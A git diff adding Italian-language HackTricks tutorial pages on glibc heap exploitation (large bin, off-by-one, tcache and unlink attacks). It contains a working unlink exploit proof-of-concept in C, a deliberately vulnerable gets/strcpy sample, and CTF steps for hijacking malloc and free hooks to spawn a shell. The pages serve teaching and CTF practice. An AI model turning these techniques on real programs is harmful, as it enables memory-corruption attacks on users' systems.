L'attaccante può modificare `chunk1->bk_nextsize` in `[target-0x20]` +* Quindi, viene allocato un chunk più grande rispetto al chunk 2, quindi il chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2 + +{% hint style="success" %} +Ci sono altri scenari potenziali, l'importante è aggiungere al large bin un chunk che è **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che verrà scritto l'indirizzo del chunk più piccolo. +{% endhint %} + +Questo è il codice rilevante da malloc. Sono stati aggiunti commenti per capire meglio come è stata sovrascritta l'indirizzo: + +{% code overflow="wrap" %} +```c +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk + +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} +``` +{% endcode %} + +Questo potrebbe essere utilizzato per **sovrascrivere la variabile globale `global_max_fast`** di libc per poi sfruttare un attacco fast bin con chunk più grandi. + +Puoi trovare un'altra ottima spiegazione di questo attacco in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html). + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. + +
diff --git a/binary-exploitation/libc-heap/off-by-one-overflow.md b/binary-exploitation/libc-heap/off-by-one-overflow.md new file mode 100644 index 000000000..e22d19b29 --- /dev/null +++ b/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -0,0 +1,124 @@ +# Sfioramento di un byte + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di base + +Avere solo accesso a un overflow di 1 byte consente a un attaccante di modificare il bit `pre_in_use` dal chunk successivo e poiché il chunk corrente non sarà in uso, la fine del chunk diventa l'informazione sui metadati della dimensione del chunk precedente.\ +Ciò consente di manipolare quali chunk vengono effettivamente liberati, generando potenzialmente un chunk che contiene un altro chunk legittimo. + +Ci sono 2 tipi di vulnerabilità off by one: + +* Byte arbitrario: Questo tipo consente di sovrascrivere quel byte con qualsiasi valore +* Null off by one: Questo tipo consente di sovrascrivere quel byte solo con 0x00 +* Un esempio comune di questa vulnerabilità può essere visto nel seguente codice in cui il comportamento di strlen e strcpy è inconsistente, il che consente di impostare un byte 0x00 all'inizio del chunk successivo. + +
+ +Null off by one +```c +// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ +int main(void) +{ +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; +} +``` +
+ +Tra gli altri controlli, ora ogni volta che un chunk viene liberato, la dimensione precedente viene confrontata con la dimensione configurata nel chunk dei metadati, rendendo questo attacco piuttosto complesso dalla versione 2.28. + +### Esempio di Codice: + +* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c) +* Questo attacco non funziona più a causa dell'uso di Tcaches. +* Inoltre, se si cerca di abusarne utilizzando chunk più grandi (così che i tcaches non siano coinvolti), si otterrà l'errore: `malloc(): invalid next size (unsorted)` + +### Obiettivo + +* Fare in modo che un chunk sia contenuto all'interno di un altro chunk in modo che l'accesso in scrittura su quel secondo chunk permetta di sovrascrivere quello contenuto + +### Requisiti + +* Overflow di uno in meno per modificare le informazioni sui metadati della dimensione precedente + +### Attacco + +* Vengono riservati 3 chunk di memoria (a, b, c) uno dopo l'altro. Poi quello centrale viene liberato. Il primo contiene una vulnerabilità di overflow di uno in meno e l'attaccante ne abusa con un 0x00 (se il byte precedente fosse 0x10 farebbe sì che il chunk centrale indichi che è più piccolo di 0x10 di quanto non sia realmente). +* Successivamente, vengono allocati altri 2 chunk più piccoli all'interno del chunk liberato al centro (b), tuttavia, poiché `b + b->size` non aggiorna mai il chunk c perché l'indirizzo puntato è più piccolo di quanto dovrebbe essere. +* Successivamente, b1 e c vengono liberati. Poiché `c - c->prev_size` punta ancora a b (ora b1), entrambi vengono consolidati in un unico chunk. Tuttavia, b2 è ancora all'interno tra b1 e c. +* Infine, viene eseguito un nuovo malloc per reclamare questa area di memoria che in realtà conterrà b2, consentendo al proprietario del nuovo malloc di controllare il contenuto di b2. + +Questa immagine spiega perfettamente l'attacco: + +

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

+ +## Altri Esempi e Riferimenti + +* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks) +* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks) +* È possibile abusare di un off by one per ottenere un leak di un indirizzo dalla heap perché il byte 0x00 alla fine di una stringa viene sovrascritto dal campo successivo. +* La scrittura arbitraria viene ottenuta abusando della scrittura off by one per far puntare il puntatore in un altro luogo dove verrà costruita una struttura falsa con puntatori falsi. Quindi, è possibile seguire il puntatore di questa struttura per ottenere una scrittura arbitraria. +* L'indirizzo della libc viene leakato perché se la heap viene estesa utilizzando mmap, la memoria allocata da mmap ha un offset fisso dalla libc. +* Infine, la scrittura arbitraria viene abusata per scrivere nell'indirizzo di \_\_free\_hook con un one gadget. +* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb) +* C'è una vulnerabilità NULL off by one nella funzione `getline` che legge le linee di input dell'utente. Questa funzione viene utilizzata per leggere la "chiave" del contenuto e non il contenuto. +* Nel writeup vengono creati 5 chunk iniziali: +* chunk1 (0x200) +* chunk2 (0x50) +* chunk5 (0x68) +* chunk3 (0x1f8) +* chunk4 (0xf0) +* chunk defense (0x400) per evitare la consolidazione con il chunk superiore +* Poi vengono liberati i chunk 1, 5 e 3, quindi: +* ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +* Poi abusando del chunk3 (0x1f8) viene abusato il null off-by-one scrivendo il prev\_size a `0x4e0`. +* Notare come le dimensioni dei chunk inizialmente allocati chunk1, 2, 5 e 3 più gli header di 4 di quei chunk equivalgono a `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +* Poi, il chunk 4 viene liberato, generando un chunk che consuma tutti i chunk fino all'inizio: +* ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +* ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +* Poi, vengono allocati `0x200` byte riempiendo il chunk originale 1 +* E altri 0x200 byte vengono allocati e il chunk2 viene distrutto e quindi non c'è alcun leak e questo non funziona? Forse questo non dovrebbe essere fatto +* Poi, vengono allocati altri chunk con 0x58 "a" (sovrascrivendo chunk2 e raggiungendo chunk5) e si modifica il `fd` del fast bin chunk di chunk5 facendolo puntare a `__malloc_hook` +* Poi, viene allocato un chunk di 0x68 in modo che il fake fast bin chunk in `__malloc_hook` sia il successivo fast bin chunk +* Infine, viene allocato un nuovo fast bin chunk di 0x68 e `__malloc_hook` viene sovrascritto con un indirizzo `one_gadget` + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la **tua azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md new file mode 100644 index 000000000..1c5e8d9e9 --- /dev/null +++ b/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -0,0 +1,33 @@ +# Sovrascrittura di un chunk liberato + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +Diverse delle tecniche di sfruttamento dell'heap proposte richiedono di poter sovrascrivere puntatori all'interno di chunk liberati. Lo scopo di questa pagina è riassumere le potenziali vulnerabilità che potrebbero concedere questo accesso: + +### Semplice Use After Free + +Se è possibile per l'attaccante **scrivere informazioni in un chunk libero**, potrebbe sfruttarlo per sovrascrivere i puntatori necessari. + +### Doppio Free + +Se l'attaccante può **`free` due volte lo stesso chunk** (liberare altri chunk nel mezzo potenzialmente) e far sì che sia **2 volte nello stesso bin**, sarebbe possibile per l'utente **allocare il chunk successivamente**, **scrivere i puntatori necessari** e poi **allocarlo di nuovo** attivando le azioni dell'allocazione del chunk (ad es. attacco al fast bin, attacco al tcache...) + +### Overflow dell'Heap + +Potrebbe essere possibile **sovraffluire un chunk allocato con successivo un chunk liberato** e modificare alcuni header/puntatori di esso. + +### Overflow di 1 + +In questo caso sarebbe possibile **modificare la dimensione** del chunk successivo in memoria. Un attaccante potrebbe sfruttare questo per **far sì che un chunk allocato abbia una dimensione maggiore**, quindi **`free`**arlo, facendo sì che il chunk venga **aggiunto a un bin di dimensioni diverse** (più grandi), quindi allocare la **dimensione falsa**, e l'attacco avrà accesso a un **chunk con una dimensione maggiore** di quella reale, **concedendo quindi un overflow dell'heap** (controlla la sezione precedente). diff --git a/binary-exploitation/libc-heap/tcache-bin-attack.md b/binary-exploitation/libc-heap/tcache-bin-attack.md new file mode 100644 index 000000000..afdc1a73f --- /dev/null +++ b/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -0,0 +1,66 @@ +# Attacco al Bin di Tcache + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Per ulteriori informazioni su cosa sia un bin di tcache, controlla questa pagina: + +{% content-ref url="bins-and-memory-allocations.md" %} +[bins-and-memory-allocations.md](bins-and-memory-allocations.md) +{% endcontent-ref %} + +Innanzitutto, nota che il Tcache è stato introdotto nella versione 2.26 di glibc. + +L'attacco **Tcache** proposto nella [pagina di guyinatuxido](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) è molto simile all'attacco al fast bin dove l'obiettivo è sovrascrivere il puntatore al chunk successivo nel bin all'interno di un chunk liberato con un indirizzo arbitrario in modo da **allocare quell'indirizzo specifico e potenzialmente sovrascrivere i puntatori**. + +Tuttavia, al giorno d'oggi, se esegui il codice menzionato otterrai l'errore: **`malloc(): unaligned tcache chunk detected`**. Quindi, è necessario scrivere come indirizzo nel nuovo puntatore un indirizzo allineato (o eseguire abbastanza volte il binario in modo che l'indirizzo scritto sia effettivamente allineato). + +### Attacco agli indici di Tcache + +Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **quantità di chunk per indice** all'interno del tcache e l'indirizzo al **chunk di testa di ciascun indice di tcache**. Se per qualche motivo è possibile modificare queste informazioni, sarebbe possibile **far puntare il chunk di testa di alcuni indici a un indirizzo desiderato** (come il malloc hook) per poi allocare un chunk della dimensione dell'indice e sovrascrivere i contenuti del malloc hook in questo caso. + +## Esempi + +* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html) +* **Leak di informazioni di Libc**: È possibile riempire i tcache, aggiungere un chunk nella lista non ordinata, svuotare il tcache e **ri-allocare il chunk dalla lista non ordinata** sovrascrivendo solo i primi 8B, lasciando **intatto il secondo indirizzo a libc dal chunk in modo da poter leggerlo**. +* **Attacco Tcache**: Il binario è vulnerabile a un overflow di heap di 1B. Questo sarà abusato per cambiare l'**intestazione di dimensione** di un chunk allocato rendendola più grande. Quindi, questo chunk verrà **liberato**, aggiungendolo al tcache dei chunk della dimensione falsa. Poi, verrà allocato un chunk con la dimensione falsata e il chunk precedente verrà **ritornato sapendo che questo chunk era effettivamente più piccolo** e ciò offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\ +Questo sarà abusato per **sovrascrivere il puntatore FD del prossimo chunk** per puntare a **`malloc_hook`**, quindi è possibile allocare 2 puntatori: prima il puntatore legittimo appena modificato e poi la seconda allocazione restituirà un chunk in **`malloc_hook`** che è possibile abusare per scrivere un **one gadget**. +* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html) +* **Leak di informazioni di Libc**: C'è un use after free e un double free. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un bin piccolo (come far trapelare dalla lista non ordinata ma da quella piccola) +* **Attacco Tcache**: Viene eseguito un Tcache tramite un **double free**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Quindi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e quindi viene allocato di nuovo in modo che il prossimo chunk nella lista sarà nel free hook. Poi, anche questo viene allocato ed è possibile scrivere l'indirizzo di `system` qui quindi quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell. +* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html) +* La principale vulnerabilità qui è la capacità di `liberare` qualsiasi indirizzo nell'heap indicandone l'offset +* **Attacco agli indici di Tcache**: È possibile allocare e liberare un chunk di una dimensione tale che quando viene memorizzato all'interno del chunk di tcache (il chunk con le informazioni dei bin di tcache) genererà un **indirizzo con il valore 0x100**. Questo perché il tcache memorizza la quantità di chunk su ciascun bin in byte diversi, quindi un chunk in un indice specifico genera il valore 0x100. +* Quindi, questo valore sembra che ci sia un chunk di dimensione 0x100. Consentendo di abusarne liberando questo indirizzo. Questo aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache. +* Quindi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, consentendo di sovrascrivere altri indici di tcache.\ +Ad esempio mettendo l'indirizzo del malloc hook in uno di essi e allocando un chunk della dimensione di quell'indice garantirà un chunk in calloc hook, che consente di scrivere un one gadget per ottenere una shell. +* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html) +* Stessa vulnerabilità di prima con una restrizione aggiuntiva +* **Attacco agli indici di Tcache**: Attacco simile al precedente ma con meno passaggi liberando il chunk che contiene le informazioni del tcache in modo che il suo indirizzo venga aggiunto all'indice di tcache della sua dimensione in modo da poter allocare quella dimensione e ottenere le informazioni del chunk di tcache come un chunk, consentendo di aggiungere free hook come l'indirizzo di un indice, allocarlo e scrivere un one gadget su di esso. + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/unlink-attack.md b/binary-exploitation/libc-heap/unlink-attack.md new file mode 100644 index 000000000..dbe4a2080 --- /dev/null +++ b/binary-exploitation/libc-heap/unlink-attack.md @@ -0,0 +1,151 @@ +# Attacco Unlink + +
+ +Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Quando questo attacco è stato scoperto, permetteva principalmente un WWW (Write What Where), tuttavia, sono stati aggiunti alcuni **controlli** rendendo la nuova versione dell'attacco più interessante e più complessa e **inutile**. + +### Esempio di Codice: + +
+ +Codice +```c +#include +#include +#include +#include + +// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work + +struct chunk_structure { +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding +}; + +int main() { +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; + +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); + +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header + +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P + +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit + +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); + +chunk1[3] = (unsigned long long)data; + +strcpy(data, "Victim's data"); + +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; + +printf("%s\n", data); + +return 0; +} + +``` +
+ +* L'attacco non funziona se vengono utilizzati i tcaches (dopo la versione 2.26) + +### Obiettivo + +Questo attacco permette di **cambiare un puntatore a un chunk in modo che punti a 3 indirizzi prima di se stesso**. Se questa nuova posizione (intorno a dove si trovava il puntatore) contiene informazioni interessanti, come altre allocazioni controllabili / stack..., è possibile leggerle/sovrascriverle per causare danni maggiori. + +* Se questo puntatore si trovava nello stack, poiché ora punta a 3 indirizzi prima di se stesso e l'utente potenzialmente può leggerlo e modificarlo, sarà possibile estrarre informazioni sensibili dallo stack o addirittura modificare l'indirizzo di ritorno (forse) senza toccare il canary +* Negli esempi di CTF, questo puntatore si trova in un array di puntatori ad altre allocazioni, pertanto, facendolo puntare a 3 indirizzi prima e potendo leggerlo e scriverlo, è possibile fare in modo che gli altri puntatori puntino ad altri indirizzi.\ +Poiché potenzialmente l'utente può leggere/scrivere anche le altre allocazioni, può estrarre informazioni o sovrascrivere nuovi indirizzi in posizioni arbitrarie (come nella GOT). + +### Requisiti + +* Un certo controllo in una memoria (ad esempio, stack) per creare un paio di chunk assegnando valori ad alcuni degli attributi. +* Leak dello stack per impostare i puntatori del chunk falso. + +### Attacco + +* Ci sono un paio di chunk (chunk1 e chunk2) +* L'attaccante controlla il contenuto di chunk1 e gli header di chunk2. +* In chunk1 l'attaccante crea la struttura di un chunk falso: +* Per aggirare le protezioni, si assicura che il campo `size` sia corretto per evitare l'errore: `corrupted size vs. prev_size while consolidating` +* e i campi `fd` e `bk` del chunk falso puntano dove il puntatore di chunk1 è memorizzato con offset di -3 e -2 rispettivamente in modo che `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntino alla posizione in memoria (stack) dove si trova l'indirizzo reale di chunk1: + +

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

+ +* Gli header del chunk2 vengono modificati per indicare che il chunk precedente non è utilizzato e che la dimensione è la dimensione del chunk falso contenuto. +* Quando il secondo chunk viene liberato, allora avviene questo scollegamento del chunk falso: +* `fake_chunk->fd->bk` = `fake_chunk->bk` +* `fake_chunk->bk->fd` = `fake_chunk->fd` +* In precedenza è stato fatto in modo che `fake_chunk->fd->bk` e `fake_chunk->fd->bk` puntassero allo stesso posto (la posizione nello stack dove `chunk1` era memorizzato, quindi era una lista concatenata valida). Poiché **entrambi puntano alla stessa posizione**, solo l'ultimo (`fake_chunk->bk->fd = fake_chunk->fd`) avrà **effetto**. +* Questo sovrascriverà il puntatore a chunk1 nello stack con l'indirizzo (o byte) memorizzato 3 indirizzi prima nello stack. +* Pertanto, se un attaccante potesse controllare nuovamente il contenuto del chunk1, sarà in grado di **scrivere all'interno dello stack** potendo potenzialmente sovrascrivere l'indirizzo di ritorno saltando il canary e modificare i valori e i punti delle variabili locali. Anche modificando nuovamente l'indirizzo di chunk1 memorizzato nello stack in una posizione diversa dove se l'attaccante potesse controllare nuovamente il contenuto di chunk1 sarà in grado di scrivere ovunque. +* Notare che ciò è stato possibile perché gli **indirizzi sono memorizzati nello stack**. Il rischio e lo sfruttamento potrebbero dipendere da **dove sono memorizzati gli indirizzi del chunk falso**. + +

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

+ +## Riferimenti + +* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit) +* Anche se sarebbe strano trovare un attacco di unlink persino in un CTF, ecco alcuni writeup in cui è stato utilizzato questo attacco: +* Esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html) +* In questo esempio, invece dello stack c'è un array di indirizzi malloc'ati. L'attacco di unlink viene eseguito per poter allocare un chunk qui, quindi essere in grado di controllare i puntatori dell'array di indirizzi malloc'ati. Poi, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare gli indirizzi alla GOT, modificare gli indirizzi delle funzioni per ottenere leak di libc e RCE. +* Altro esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html) +* Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco di unlink per far sì che l'indirizzo della prima allocazione punti a poche posizioni prima dell'inizio dell'array e sovrascrivere questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare alla GOT di atoi, stamparla per ottenere un leak di libc e quindi sovrascrivere l'atoi GOT con l'indirizzo di un one gadget. +* Esempio di CTF con funzioni malloc e free personalizzate che sfruttano una vulnerabilità molto simile all'attacco di unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) +* C'è un overflow che consente di controllare i puntatori FD e BK del malloc personalizzato che verrà liberato (personalizzato). Inoltre, l'heap ha il bit exec, quindi è possibile estrarre un indirizzo dell'heap e puntare una funzione dalla GOT a un chunk dell'heap con un codice shell per eseguire. + +
